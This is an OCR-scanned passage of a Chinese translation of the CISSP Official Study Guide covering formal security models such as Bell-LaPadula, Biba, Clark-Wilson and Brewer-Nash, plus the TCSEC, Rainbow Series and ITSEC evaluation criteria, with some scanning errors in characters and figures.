本质上， 主体 A(位于较高安全级别)的动作不应当影响主体 B(位于较低安全级别)的动作， 甚至应当
不引起主体 B 的注意。 实际上， 无干扰模型真正关注于防止位于高安全分类级别的主体 A 的动作影
响位于低安全分类级别的系统状态 。 如果出现这种情况， 那么主体 B 可能会处于不安全的状态， 或
者可能会演绎或推导出较高分类级别的信息。 这属于一种信息泄漏类型， 并且会隐式地创建隐蔽通
道。 因此， 可 以利用非干扰模型来提供一种防止恶意程序(例如， 特洛伊木马)导致危害的保护形式。
@ 真实场景
组合论
1 94
属 于信息流类别 的其他一些模型构建在多个系统之间 的输入和输出如何彼此关联的概念之上，
这些概念仿效了 系 统之间(而非羊个系统内 )的信息流。 因 为解释了 一个系统的输出如何关联另 一个
系 统的 输入， 所以它们被称为 组合论。 下面列 出 了 组合论的 三种公认类型 :
• 级联(cascading): 一个 系 统的输入来 自 另 一个 系 统的输出 。
• 反馈(feedback): 一个系 统为 另 一个 系统提供输入， 输入通过颠倒两个系统的角 色进行往复
(也就是说， 系 统 A 首先为系统B提供输入， 随后 系 统 B 为 系统A提供输入)。
• 才圭接(hookup): 一个 系 统向另一个系统发送输入， 但是也向外部 实体发送输入。
8.2.5 Take-Grant 模型
Take-Grant 模型采用有向 图(见图 8.2)来指示权限如何从一个主体传递至另一个主体或者如何从
一个主体传递至一个客体。 简单地讲， 具有授权资格的主体可以向另一个主体或客体授予其所拥有
的其他任何权限。 同样， 具有获得权限能力的主体可以从另一个主体获得权限。 除了这两条主要的
规则 ， Take-Grant(取-予)模型可采取创建规则和移除规则来生成或删除权限。 这种模型的关键是使用
这些规则可以让你弄清楚在系统中哪些权限可以改变， 哪些可能发生泄漏(即许可权限的意外分自己)，
第8童 安全模型的原则 、 设计和功能
如表 8. 1 所示。
表 8.1 Tak令Grant 模型的规则
规格名 作用
获取规则 允许主体获取客体的权限
授予规则 允许主体向 客体授予权限
创建规则 允许主体创建新权限
移除规则 允许主体移除己有的权限
Take Grant
① ①
① 、 ①
(三
\ ① 、 ①
图 8.2 Take-Grant 模型示意图
8.2.6 访问控制矩阵
访 问控制矩阵是一个由主体和客体组成的表， 这个表指示了每个主体可以对每个客体执行的动
作或功能 。 访问控制矩阵的每一列都是一个访问控制列表: 表的每一行都是功能列表。 ACL 与客体
相关， 它列出 了每个主体可以执行的有效动作 。 功能列表与主体相关， 它列出 了可以在所有客体上
执行的有效动作。 从行政管理的角度看， 只使用功能列表进行访问控制对于管理而言是非常可怕的 。
通过在每个主体上存储一个该主体对全部客体所具有权限的列表， 就能够实现一种访问控制 的功能
列表方法。 这为每个用户 有效给出 了 一个重要的、 针对安全域内 客体的访问和权限环。 为 了去除对
特定客体的访问 ， 就必须单独操纵访问 该客体的每个用户(主体) 。 这样一来， 管理每个用户 账户 上
的访问就 比管理每个客体上的访问(也就是通过 ACL)困难许多。
• 构造访问 控制矩阵模型通常涉及如下操作 : 构建可以创建和管理主体和客体列表的环境。
• 规划一个函数， 这个函数可以返回与任何客体提供给该函数作为输入相关联的类型(这是很
重要的 ， 因 为客体的类型决定 了 可 以应用什么类型的操作)。
表 8.2 所示的访问控制矩阵适用于自主访问控制系统。 通过简单地利用分类或角色来替代主体
1 95
CISSP 官方学 习指南(第 7 版)
名 ， 我们就可以构造强制型或规则型访问控制矩阵。 系统使用访问控制矩阵快速地判断主体请求对
客体的操作是否得到 了 授权 。
表 8.2 访问控制矩阵
主体 文档文件 打印机 网络文件共享
Bob 读 不能访问 不能访问
Mary 不 能访 问 不 能访 问 读
Amanda 读 、 写 打 印 不能访问
Mark 读 、 写 打 印 读、 写
Kat问础 读、 写 打印、 管理打印队列 读、 写 、 执行
Colin 读 、 写 、 更 改权限 打印、 管理打印队列 、 更改权限 读 、 写 、 执行、 更改权限
8.2.7 Bell-LaPadula 模型
为了解决保护分类信息的问题， 美国国防部(Department ofDefense， DoD)在 20 世纪 70 年代开
发 了 Bell-LaPadula 模型。 DoD 管理着分类资源的多个级别 ， 并且 Bell-LaPadula 模型衍生 自 DoD 的
多级安全策略。 DoD 使用的分类级别众多， 不过在 CISSP CBK 内 讨论的分类级别往往被限制为 4
个 : 非机密、 机密、 秘密 以及绝密。 多级安全策略规定具有任何许可级别的主体可以访问位于相同
或更低许可级别的资源。 然而， 在更高的许可级别内， 访问只在 " 知其所需" 的基础上被准许。 换
句话说， 只 有在特定的工作任务需要这样的访问时， 对特定客体的访问才会被准许。 例如， 具有秘
密安全许可级别的任何人都可以访问秘密 、 机密 、 敏感但非机密以及非机密文档， 但是不能访问绝
密文档。 此外， 为了访问秘密级别的文档， 试图进行访问的人员也必须具有对文档的 "知其所需"
权限。
在设计上， Bell-LaPadula 模型防止了分类信息泄漏或传输至较低的安全许可级别。 通过阻止较
低分类级别的主体访问较高分类级别的客体， 就可以实现这个 目 的 。 根据这些限制， Bell-LaPadula
模型专注于维护客体的机密'性。 因此， Bell-LaPadula 模型解决了确保文档机密性所涉及的复杂性问
题 。 然而， Bell-LaPadula 模型没有说明客体的完整性或可用性方面的 内 容。 Bell-LaPadula 模型也是
多 级安全策略的首个数学模型 。
⑩ 真实场景
格子型访问控制
1 96
第 13 幸将介绍这种非 自 主访 问控制的通用 类别 。 我们在这里，快速复习 一下与主体相关的知识
(这些 内 容是大多数访问控制安全模型 的基础): 格子型访问 控制 下的主体被指派在一个格子内 。 这
些位置位于 已定义的安全标签或分类级别之间。 主体能够访问的客体所在的范围， 只 能位于为之定
义格子位直的安全标签或分类级别 的 最小上F限民(高 于其格子住直的距离最近的安全标签或分类生级及M另别IJ
和最大下F限民币氏于其格子位直的距离 最近的安全标签或分类级别)之间 。 因此 ， 在某个分类级别 由低
至 高分别 为公开 、 敏感、 私有、 专有和机密的商业方案 中 ， 位于私有和敏感标签之间 的主体只 能访
问 隐私和敏感数据， 但是不能访问公开、 专有或机密数据。 格子型访问控制恰好也是信息流棋型的通
用 类别 ， 并且主要解决机密性问题(这也是在讨论 Bell-LaPadula 模型 时提及格子型访问控制 的原 因)。
第8章 安全模型的原则 、 设计和功能
Bell-LaPadula 模型以状态机概念和信息流模型为基础。 这种模型还采用强制访问控制和格子型
概念。 格子等级是由组织机构的安全策略使用的分类级别。 状态机支持在任何两个状态之间都能够
显式转换多个状态; 使用这个概念是因为能够以数学方式证明计算机的正确性以及对文档机密性的
保证。 这种状态机具有下列三种属性:
• 简单安全属性(simple security property)规定主体不能读取位于较高敏感度级别 的信息(也就
是不能 向 上读)。
• *安全属性(*(star)security prope即)规定主体不能在位于较低敏感度级别的客体上写入信息
(也就是不能向 下写)， 这也被称为约束属性(confinement property)。
• 自 主安全属性(discretionary security property)规定系统使用访问控制矩阵来实施 自 主访 问
控制。
前两个属性定义了系统可能转换到的状态。 其他的转换都是不被准许的 。 所有通过这些规则可
以访问 的状态都是安全状态。 因此， Bell-LaPadula 模型系统提供了状态机模型的安全性(如图 8.3
所示)。
秘密
准许向上写(*属性) 机密
不准向下写(*属性) 敏感
非机密
图 8.3 Bell-LaPadula 模 型
注意 :
在 Bell-LaPadula 模型 中有个例外， 就是规定了 "受信任的主体" 不受*安全属性的约束。 受信
任的主体被定义为 "保证即使可能也不会破坏安全信息的传输的主体" 。 这意味着受信任的主体被准
许不必遵循*安全属性并且可以执行向 下写 的操作 ， 有 必要进行有效的对象定级或重新定级。
Bell-LaPadula 属性有效地保护了 数据的机密性。 主体不能读取分类级别高于其级别的客体。 因
为一个级别上的客体所具有的数据比较低级别上的数据更为敏感或秘密， 所以主体不能将某个级别
的数据写入较低级别的客体(除了 可信主体之外)。 这个动作类似于将绝密备注粘贴到非机密的文档
文件中 。 此外， 第三种属性实施了 主体能够访问 客体 的 " 知其所需 " 权限。
Bell-LaPadula 模型只解决数据的机密性问题， 但是没有涉及数据的完整性和可用性。 因为这种
模型是在 20 世纪 70 年代设计的， 所 以并不支持 目 前常见的许多操作， 例如文件共享和网络连接。
这种模型还说明 了安全层之间的安全转换， 但是并没有涉及隐蔽通道问题(在稍后的第 9 章 " 安全脆
弱性、 威胁和对策 " 中进行介绍)0 Bell-LaPadula 模型很好地处理了机密性问题， 因此常常与其他处
理完整性和可用性机制 的模型组合使用 。
8.2.8 Biba 模型
对于很多非军事组织来说， 完整性比机密性更为重要 。 除了这种需要之外， 许多关注于完整
1 97
1 98
CISSP 官方学 习指南(第 7 版)
性的安全模型也已开发出来， 例如， 由 Bi怡 和 Clark-Wilson 开发的 Biba 模型。 Biba 模型是仿照
Bell-LaPadula 模型设计的。 Bell-LaPadula 模型解决了机密性问题， 而 Biba 模型则解决了 完整性问题。
Biba 模型也是建立在状态机概念的基础之上。 事实上， 除了反向之外， Biba 模型与 Bell-LaPadula
模型十分相似。 这两种模型都使用 了 状态和转换， 都具有基本的属性。 二者的最大差异是关注的主
要目标不同: Biba 模型主要保护数据的完整性。 下面列 出 了 Biba 模型状态机的基本属性:
• 简单完整性属性(simple integrity property)规定主体不能读取位于较低完整性级别的客体(也
就是不能向 下读)。
• *完整性属性(*(star)integrity prope町)规定主体不能更改位于较高完整性级别的客体(也就是
不能向上写)。
注意 :
Biba 模型和 Bell-LaPadula模型都有两个主要属性: 简 单属性和星号属性。 不过， 它们也可以被
标记为公理、 原则或规则 。 需要注意的是， 简单属性总是与读操作有关， 星号属性则总是与 写操作
有关。 此外， 不管是使用 简单属性还是星号属性， 它们都是定义不能或不应进行操作的规则 。 在 大
多 数情况下， 未被阻止或禁止的操作都是受支持或准许的 。
图 8.4 说 明 了 这些 Biba 模型公理。
秘密
准许向上读(SI 公理) T 不准向上叭理) 机密
不准向下读(SI 公理) ，#也 叫田公理) ↓ 敏感
公开
图 8.4 Biba 模型
在将 Biba 模型与 Bell-LaPadula 模型进行比较时， 你会注意到它们看上去是相反的。 这是由于
二者关注安全性的不同方面。 Bell-LaPadula 模型确保数据的机密性， 而 Biba 模型则确保数据的完
整性。
Biba 模型被设计用于解决下列三个完整性问题:
• 防止未授权的主体对客体的修改。
• 防 止 己授权的主体对客体进行未授权的修改。
• 保护 内 部和外部客体的一致性。
与 Bell-LaPadula 模型一样， Biba 模型要求所有客体和主体都具有分类标签。 因此， 数据完整性
保护依赖于数据分类。
让我们看看 Biba 属性。 Biba 模型的第二个属性非常简单。 主体不能对位于较高完整性级别的
客体进行写操作。 这是很有意义的。 第一个属性情况如何? 为什么主体不能读取位于较低完整性级
别 的客体? 回答这些问题需要稍加思考。 可 以将完整性级别想象为空气的纯净级别。 你肯定不希望
将弥漫着烟昧的场所内的空气注入原本环境清新的房间 。 同样的想法也被应用于数据 。 在完整性十
分重要的情况下， 你不希望将未经验证的数据读入己验证的文档 。 数据污染的可能性过大时， 这样
第8章 安全模型的原则 、 设计和功能
的访 问就不被允许。
对 Biba 模型的批评提到 了 下列几个缺陷:
• 只 解决了完整性问题， 没有解决机密性或可用性问题。
• 专注于保护客体不受外部的威胁; 假定内部的威胁 己被有计划地控制 。
• 没有说明 访 问控制管理， 也没有提供分配或改变主体或客体分类级别 的方法。
• 并没有防止隐蔽通道。
因 为 Biba 模型关注于数据的完整性， 所以与 BeU-LaPadula 模型相 比， Biba 模型是商用安全模
型更常见的一种选择 。 相 比机密性而言， 大 多数商业组织更关心数据的 完整性。
8.2.9 Clark-Wilson 模型
尽管 Biba 模型适合于商用 ， 不过人们还是在 1987 年为商业环境专 门 设计了另一种模型:
Clark-Wilson 模型。 这种模型使用多层面途径来实施数据完整性。 Clark-Wilson 模型没有定义正式的
状态机， 而是只通过一小组程序来定义每个数据项井允许修改。
Clark-Wilson 模型并不要求使用格子型结构， 而是使用被称为三元组或访问控制三元组的主体/
程序/客体(或主体/事物/客体)的三部分关系。 主体并不对客体进行直接访问。 客体只能通过程序进行
访问。 通过使用下列两条原则: 格式 良好的事务处理和职责分离， Clark-wilson 模型提供了保护完整
性的有效方法。
格式 良好的事务处理采用程序的形式。 主体只能通过使用程序、 接口或访问 门户(见图 8.5)来访
问客体 。 每个程序都对可以对客体做什么和不可以对客体做什么施加了特定的限制(例如， 数据库和
其他资源)。 这有效地限制了主体的能力 。 这被称为约束接口 。 如果程序设计正确， 那么三元组关系
就提供了 保护客体完整性的方法。
1 己 已
Clark-Wilson 模型定义了下列 数据项和过程:
• 约束数据项(Constrained Data Item， CDI): 是指完整性 由 安全模型保护 的任何数据项。
• 非约束数据项(Unconstrained Data Item， UDI): 是指不受安全模型控制的任何数据项。 作为
输入且未验证的任何数据或任何输出 都被视为非 约束数据项 。
• 完整t生验证过程(lntegrity Verification Procedure， IVP): 扫描数据项并确认其完整性的过程。
• 转换过程(Transformation Pro臼dure， TP): TP 是允许更改 CDI 的唯一过程。 通过 TP 限制对
CDI 的访问而形成 Clark-Wilson 完整性模型的主干(我们想知道这是否是 TPS 报告的来源)。
Clark-Wilson 模型使用安全标签来授予对客体的访问权限， 但是只能通过转换过程和受限接口
模型来完成。 受限接口模型使用基于分类的限制 ， 并且只提供主体特定的授权信息和功能。 在某个
分类级别上的主体将可以看到一组数据， 并且有权访问一系列的功能; 而另一个分类级别上的主体
则可以看到不同的数据 ， 并且有权访问 不同系列的功能。 向不同级别或分类的用户 提供的不同功能，
1 99
CISSP 官方学 习 指南(第 7 版)
可 以通过向所有用户显示所有功能， 但禁用那些不被特定用户授权或仅显示特定用户授权的功能来
实现。通过这些机制， Clark-Wilson 模型确保任何用户 都不能未授权地修改数据。 实际上， Clark-Wilson
模型实现了 职责分离。 Clark-Wilson 模型的设计使其成为一种适于商用 的优秀模型 。
8.2. 10 Brewer and Nash 模型(也叫作 Chinese Wall)
创建这种模型的 目 的是准许访问 控制基于用户 以前的活动而动态改变(这也使其成为一种状态
机模型)。 这种模型应用于单个集成的数据库， 并且试图创建对利益冲突敏感的安全域(例如 ， 如果
A 公司 和 B 公司存在竞争关系， 那么在 C 公司工作的某人虽然能够访 问 A 公司 的私有数据 ， 但是
也应当不被准许访问 B 公司 的类似数据)。 因 为创建了一个数据类， 这个数据类定义了哪些安全域存
在潜在 的冲突， 对于能够访问某个属于特定冲突类的安全域的任何主体， 阻止他们访问属于相同冲
突类的其他任何安全域， 所以这种模型被称为 Chinese Wall 模型。 这个名字比喻在任何冲突类的其
他所有数据周 围修筑了 一道长城， 从而解释了 该术语。 因此， 这种模型在每个冲突类内也使用 了 数
据隔离原则 ， 以便使用户置身于潜在的利益冲突状况之外(例如， 公司 数据集的管理)。 因为公司 间
的关系随后会发生变化， 所 以 也解释了 动态更新冲突类的成员及定义的重要性。
考虑或思考 Brewer and Nash 模型的另一种方式是: 管理员在基于分配给他们的工作职责和工作
任务的基础上， 对系统中 的大量数据拥有完全的访问控制。 然而， 在对任何数据项采取行动时， 管
理员对任何冲突数据的访问都会被暂时阻止。 只有涉及初始数据项的数据在操作过程中才能被访问 。
一 旦任务完成后 ， 管理 员 的访 问将返回 到完全控制 。
8.2. 11 Goguen-Meseguer 模型
Goguen-Meseguer:模型是一个完整性模型， 尽管它不如Biba和其他模型有名 。 实际上， 这个模式
被称作非干涉概念理论的基础。通常当某人讲非干涉模型时， 他们实际指的是Goguen-Meseguer模型 。
200
Goguen-Meseguer 模型基于主体可以访问 的预设的域或客体列表。 该模型基于自动化理论和域的
隔离。 这意味着主体只允许对预设客体执行预定的动作。 当类似的用户被分组到他们 自 己的域(也就
是集合)时， 一个主体域的成员不能干扰另一个主体域的成员 。 因此， 客体无法干扰其他客体的活动。
8.2.12 Sutherland 模型
Sutherland 模型是一个完整性模型。 它的重点是预防对完整性支持的干扰。 它正式地基于状态
机模型和信息流模型。 然而， 它并没有直接表明保护完整性的具体机制 。 相反， 该模型基于定义一
组系统状态的想法， 以及初始状态和状态转换。 通过使用这些预定的安全状态来保护完整性和阻止
干扰。
Sutherland 模型的一个常见例子就是被用于预防用来影响幸自字或活动输出 的隐蔽通道(隐蔽通道
在第 9 章讲述)
8.2.13 Graham-Denning 模型
Graham-Denning 模型关注主体和客体在创建和删除时的安全性。 Graham-Denning 模型集合了 8
第8章 安全模型的原则 、 设计和功能
个主要的定义特定安全行为边界的 保护规则或动作 :
• 安全创建客体
• 安全创建主体
• 安全删除客体
• 安全删除主机
• 安全读访 问权限
• 安全授予访 问权限
• 安全删除访 问权限
• 安全转移访 问权限
通常 ， 一组客体上的主体的特定能力或权 限被定义在访 问矩阵中(又名访问控制 矩阵)。
8.3 基于系统安全评估模型选择控制和 对策
为 了特定应用而购买信息系统的人员或机构 ， 例如， 敏感数据极有价值或落入坏人手中极其危
险的国家安全机构、 特定数据的价值达数十亿美元的中央银行或证券交易所， 通常希望了解系统的
安全强度和缺陷。 这样的购买者通常只愿意考虑己经预先进行正式评估并给出 了安全评级的系统，
从而了解自 己需要哪种系统。 通常购买者还必须采取其他措施 以保证系统尽可能安全。
进行正式评估时， 系 统往往需要经历两步骤过程:
(1) 在第(1)个步骤中， 系统会被测试并执行技术评估， 从而确认系统的安全性能是否满足为预
期使用而设置的标准。
(2) 第ο)个步骤会对系统的设计和安全标准与实际的功能和性能进行正式比较 ， 并且负责系统
安全性和准确性的人员必须决定是否采用 、 放弃系统， 或者必须修改标准并再次进行评估。
事实上， 经常雇用可信的第三方来执行这样的评估; 这种测试最重要的结果是表明系统满足所
有必要标准 的 " 认证标志 "。
无论在组织内部还是外部管理评估操作， 选购系统的组织都必须决定接受或拒绝被建议采用的
系统。 组织的管理部门 必须正式负责是否采用系统以及何时采用 ， 并且应当接受与选购系统的部署
和使用相 关联的任何风险。
这里将介绍的三个主要评估模型或分级标准模型产品是 TCSEC、 ITSEC 和通用标准 。
注意 :
你应该知道， TCSEC 已经被废除， 并由通用 标准(以及许多 其他美国 国 防部指令〉取代。 但 TCSEC
仍然出现在这里， 仅仅是作为历史参考， 以及作为基于静态坪估标准的示例， 通过对比看出缺乏哪
些动态(尽管主观)坪估标准的优点。 记住， CISSP 考试的重点关注于 "为什么 " 安全多 于 "女口何"
实现安全， 换句话说， 侧重于概念和理论而不是技术和实现。 因此， 一些这方面的历 史信息可能会
出 现在考题中 。
8.3.1 彩虹系列
自 20 世纪 80 年代 以来 ， 政府、 机构、 团体和各种商业组织都不得不面对涉及信息系统挑选和
201
202
CISSP 官方学习指南(第 7 版)
使用 的风险。 这种情况导致近年来出现了一系列信息安全标准， 这些标准试图为各种使用类别指定
最低的可接受安全标准。 当购买者希望获得和部署能够保护和保留其内容， 或者能够满足各种强制
安全需求(例如， 承办商管理与政府相关的业务时按手续必须满足的需求)的系统时， 这些使用类别
十分重要。 在美国 国防部(DoD)致力于为购买和使用 的系统开发和实施安全标准时， 第一组这样的
标准导致在 20 世纪 80 年代出现可信计算机系统评估标准σCSEC)。 随后， 在 20 世纪 90 年代中期，
这个系列的所有标准都被公布出来。 因 为往往可以通过封面颜色来标识这些被公布的标准， 所以它
们被合称为彩虹系列 。
按照 DoD 所使用的模式， 其他政府或标准团体在彩虹系列元素的基础上构建和完善了新的计算
机安全标准， 其中重要的标准包括被称为信息技术安全评估标准。TSEC)的 European 模型， 这种模
型在 1 990 年被开发出来， 并且一直使用到 1 998 年。 最后， TCSEC 和 ITSEC 都被所谓的通用准则
替换， 这种标准更为正式的名称为 " IT 安全领域内 通用准则认证认可协议"。 美国、 加拿大、 法国、
德 国和英国在 1 998 年都采用 了 该标准。 我们将在后面详细讨论 ITSEC 和通用准则标准。
政府或其他安全意识机构在评估信息系统时， 会利用各种标准评估准则。 1985 年 ， 美 国 国家计
算机安全中心(NCSC)开发了 TCSEC， 缘于其封面的颜色， 我们将这个标准称为桶皮书。 TCSEC 建
立 了从安全性角度评估独立计算机所使用的指导原则。 这些指导原则涉及基本的安全功能， 并且允
许评估者对 系统的功能性和可靠性做出度量和评级。 事实上， 在 TCSEC 中 ， 功能性和安全性保证
被组合在一起， 而不像后来开发的安全标准那样将二者区分开来。 TCSEC 指导原则被设计用于评估
供应商的 产品 ， 也可 以 被供应商用于确保在新产品 中构 建所有必要的功 能性和安全性保证 。
接下来， 我们会较为详细地介绍桶皮书本身， 随后将讨论彩虹系列 中其他一些重要的元素。
8.3.2 TCSEC 分类和所需功能
TCSEC 将系统提供的功能性和机密性保护等级保证组合为 4 个主要类别。 这些类别随后又被进
一步划分为使用数字标识的子类别(例如， C 1 和 C2)。 进一步说， TCSEC 的类别是通过对 目 标系统
的 评估来指派。 TCSEC 适用 的 系统是没有互联的独立系统。 TCSEC 定 义 了 下列主要类别 :
类别 A 己验证保护 ， 这是最高的安全级别
类别 B 强制性保护
类别 C 自 主性保护
类别 D 最小化保护 ， 提供给那些被评估但不符合要求且属于其他类别的系统定级之用
图 8-6 包含了 对类别 A到C 的 详细描述， 数字后缀表示任何适用 的范畴。
级别标签 需求
D 最小化保护
CI 自 主性保护
C2 受控访问 保护
BI 标签式安全
B2 结构化保护
B3 安全域
Al 已验证保护
图 8.6 TCSEC 的级别
第8章 安全模型的原则 、 设计和功能
自主性保护(类别 C1 、 C2) 自 主性保护系统提供了 基本的访 问控制。 这个类别中 的系统的确能
提供一些安全控制方法， 但是缺乏针对安全系统特定需要的更复杂且更严格的控制方法。 C l 和 C2
类别 的系统提供了 基本 的控制和用 于 系统安装与配置的完整文档 。
• 自主性安全保护(类别 C1) 自 主性安全保护系统通过用户 D 和/或用户 组来实现访问控制 。
虽然对客体的访 问 采取 了一 些控制措施 ， 但这个类别 中 的系统只 能提供较弱 的保护 。
• 受控访问保护(类别 C2) 受控访问保护系统的安全性强于 C l 系统。用户必须被单独标识后
才能获得访问客体的权限。 C2 系统还必须实施介质清除措施。 如果实施了介质清除措施，
那么在另一位用户重新使用介质之前 ， 必须首先彻底地清除介质上的内容， 从而保证不会
保 留先前的数据供检查和使用 。 此外 ， 也必须实施限制无效或未授权用户访问 的严格登录
措施。
强制性保护(类别 町 、 B2、 B3) 强制性保护系统比类别 C或D 的系统提供了更多 的安全控制
方法。 因 为强制实施了更细粒度的控制 ， 所以安全管理员能够应用只 允许非常有限的主体/客体组访
问 的特定控制手段。 这个系统类别 以 Bell-LaPadula 模型为基础。 强制访问 控制基于安全标签。
• 标签式安全(类别 B1) 在标签式安全系统中， 每个主体和客体都有一个安全标签。 通过匹
配主体和客体的标签并比较它们的权限兼容性， B l 系统授予了访问权限。 B l 系统提供了足
够 的安全保护来保留 己分类的数据 。
• 结构化保护(类别 B2) 除了要求具有安全标签之外(就像在 B l 系统中一样)， B2 系统必须
确保不存在隐蔽通道。 操作者和管理员 的职责被分隔开， 并且进程也被隔离。 如果分类数
据需要高于 B l 系统的安全功能性， B2 系 统可 以满足需要。
• 安全域(类别 B3) 通过进一步增加无关进程的分隔和隔离， 安全域系统提供了更多的安全
功能性。 管理功能被清楚地定义并与其他用户 可以使用 的功能分开。 B3 系统的关注点转移
到简易性， 从而减少了在未用 的或多余的代码中所暴露出来的脆弱性。 因 系统的安全状态
也必须在初始启动过程中被说明。 因 系统难以被成功攻击， 并且为非常敏感的或秘密的数
据提供了 充分 的安全控制 。
己验证保护(类别 A1 ) 己验证保护系统在结构和使用 的控制方面与 B3 系统类似。 二者的差别
在于开发周期 。 开发周期的每个阶段都使用正式的方法进行控制 。 在执行下一个步骤之前， 设计的
每个阶段都要被记入文档、 评估和验证。 在开发和部署的所有阶段都给予极高的安全关注度 ， 并且
是正式保证系统强安全性的唯一方式。
己验证设计系统从设计丈档开始， 文档中说明了所设计的系统如何满足安全策略的要求。 从这
里开始， 每个开发步骤都要在安全策略的上下文中进行评估。 功能性是至关重要的， 但是保证比在
较低安全类别中更加重要 。 A l 系统代表安全性的最高级别， 被设计用于处理绝密数据。 从设计到交
付和安装的全过程， 每个步骤都要被记入文档和进行验证。
8.3.3 彩虹系列中 的其他颜色
总的来说， 在 DoD 文档集合 中有近 30 个标题被添加到桶皮书或进一步详细说明。 尽管颜色并
没有任何意义， 但是却被用于描述这一系列 中 公布的各种标准。
注意 :
重要的是要明 白 : 彩虹系列的大部分书籍现在已经过时， 并已被更新的标准、 准则和指令替换.
但是它们仍然在这里 列 出 以 供参考 ， 以 应对任何考试题 目 。
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CISSP 官方学 习指南(第 7 版)
关于这个集合文档的其他重要 内 容如下:
红皮书 因为桶皮书只应用于未连接到网络的独立计算机， 而如此多 的系统却连接到网络(即使
在 20 世纪 80 年代也是如此)， 所 以红皮书被开发出来用 于在网络互联环境中解释说明 TCSEC。 事
实上， 红皮书的正式标题是 "可信 网络解释"， 因此可以被视为致力于从网络连接角度对桶皮书进行
解释说明 。 很快， 对于系统购买者和构建者来说， 红皮书比桶皮书更为实用和重要 。 下面列 出 了 红
皮书的其他一些功能 :
• 评定机密性和完整性的等级
• 解决通信的完整性问题
• 解 决拒绝服务的防护问题
• 解决危害(也就是入侵)的防护和阻止 问 题
• 受限于被标记为 " 使用 单个鉴定授权的集中式网络" 的有限网络类别
• 只 使用 4 种等级级别 : None、 Cl(Minimum)、 C2(Fair) 以及 B2(Good)。
绿皮书 绿皮书或 "美国 国 防部密码管理指导原则 " 提供了创建和管理密码的指导原则。 对于
配置和管理可信系统的人来说 ， 绿皮书十分重要。
表 8.3 提供了 彩虹系列的一个更完整的书籍列表。 更多关于下载书籍的信息， 可访问彩虹系列
网页: http://csrc. nist. gov /pu blications/ secpubs/index. h tml 。
表 8.3 重要的彩虹系列元素
发表编号 标题 名 称
5200.28-STD DoD 可信计算机系统评估标准 桶皮书
CSC-STD-002-85 DoD 密码管理指导原则 绿皮书
CSC-STD-003-85 在特定环境中应用 TCSEC 的指南 黄皮书
NCSC-TG-OOI 理解可信系统审计的指南 褐皮书
NCSC-TG-002 可信产品评估: 供应商指南 天蓝皮书
NCSC-TG-002-85 PC 安全考虑 浅蓝皮书
NCSC-TG-003 理解可信系统中任意访问控制 的指南 氛桶皮书
NCSC-TG-004 计算机安全术语词汇表 浅绿皮书
NCSC-TG-005 可信网络解释 红皮书
NCSC-TG-004 理解可信系统中配置管理的指南 琉泊皮书
NCSC-TG-006 理解可信系统中设计文档的指南 暗红皮书
NCSC-TG-008 理解可信系统中可信分发的指南 浅紫皮书
NCSC-TG-009 TCSEC 中 计算机安全子系统的解释 威尼斯蓝皮书
考虑到构成 TCSEC 投入的所有时间和精力， 我们难 以理解为什么还会出现更新更高级的评估
标准。 随着时代的发展和技术的更新， 下面列出 的对 TCSEC 的主要批评能够解释 目 前普遍使用更
新标准 的原因:
• 尽管 TCSEC 重点考虑控制用户对信息的访问， 但是并没有控制用户一旦获得访问权限后如
何对信息进行处理。 在军事和商业应用中， 这都是问题。
第8章 安全模型的原则 、 设计和功能
• 考虑到来自 于美 国国防部， 因此可以理解 TCSEC 标准关注的重点完全在于机密性， 该标准
认定控制用户访问数据的方式意味着不必关注数据的准确性或完整性。 在认为数据的准确
性和完整性 比机密性更重要的 商业环境中， TCSEC 不起作用 。
• 除 了 自 身强调访问控制之外， TCSEC 并不仔细处理完全实现安全策略所必需的各种人员 、
物理和过程化的策略问题或防范措施。 此外， TCSEC 也不处理影响系统安全性的问题。
• 桶皮书本质上并不处理网络连接问题(尽管之后在 1 987 年开发的红皮书能够解决类似问题)。
在一定程度上， 这些批评反映了美国军方关注的唯一安全问题导致了 TCSEC 的开发。 随后，
当 时广泛使用 的主流计算工具和技术(网络连接是在 1 985 年开始出现的)也产生了影响 。 当然， 组织
内 日 益复杂和全面的安全观点也有助于解释 TCSEC 在过程上和策略上存在不足。 但是， 因 为 rTSEC
己 基本被通用准则替换， 所 以在讨论通用准则之前， 我们会阐述 rTSEC。
8.3.4 ITSEC 类别与所需的保证和功能性
ITSEC 代表欧洲创建安全评估标准的最初尝试， 并且是作为 TCSEC 指导原则的可选方案被开
发出来的。 盯SEC 指导原则使用不同的类别等级来评估系统的功能性和保证。 在这种环境下， 系统
的功能性是针对系统用户 的实用价值进行衡量。 系统的功能性等级描述了系统基于设计和预期 目 的
执行所需功能的情况。 保证等级表示系统以一致 的方式正常工作的 可靠程度。
rTSEC 将正在被评估的系统作为评估 目标σarget OfEvaluation， TOE)。 所有的等级都以两种类
别表示为 TOE 等级。 ITSEC 使用两个尺度来评定功能性和保证的等级。
系统的功能性等级从 F-D 到 F-B3(没有 F-Al )进行划分。 系统的保证等级从 EO 到 E6 进行划分。
通常， 大多数 ITSEC 等级与 TCSEC 等级相对应(例如， TCSEC 的 Cl 系统对应于 ITSEC 的 F-Cl 、
E l 系统)。 表 8.4(位于下一节 " 通用准则的结构" 的最后部分)比较了 TCSEC、 ITSEC 和通用准则的
等级。
注意 :
在某些 实例中， πSEC 的F等级使用 Fl 到自来定义， 而 不是重用 TCSEC 中 的标签。 这些标
签的对应关系为: Fl =F-Cl， F2 = F-C2， F3 = 耳目 ， F4 =F-B2， 以及 自=F-B3. F-D 一般不存在数
字编号的 F 等级， 不过在某些时候也会使用 FO 等级。 因 为 如果不具备进行等级划分的任何功能，
那 么 就不需要等级标签 ， 所 以 FO 标签毫无意义。
TCSEC 和 ITSEC 之 间 的差异十分多样化 。 下面列出了两个标准之间 的一些重要差异 :
• 尽管 TCSEC 几乎只关注机密性 ， 但是 πSEC 除了机密性之外还关注 TCSEC 缺少的完整性
与 可用性， 因 此覆盖了对于维护完整信息 的安全性十分重要的所有三个元素 。
• ITSEC 并不依赖于 TCB 的概念， 并且不要求系统 的安全组件在 TCB 内 是隔离的。
• TCSEC 要求任何发生变化的系统都要重新进行评估， 这些变化包括操作系统的升级、 安装
补丁或修复， 以及应用程序的升级或变化等; ITSEC 在这些变化之后不要求进行新的正式
评估， 而是只维护评估 目标。
要想了 解 盯SEC(l;见在己基本被下一节介绍的通用准则替代)的更多信息， 访问 πSEC 的官方站
点 : https:/ Iwww.bsi.bund.de/cae/servlet/contentblob/4 7 1 346/publicationFile/30220/itsec-en _pdf pdf二
也可以查看原始的 ITSEC 说明书， 网址为 http://www .ssi.gouv.企/uploa也1201 5/01厅rSEC-uk.pdf。
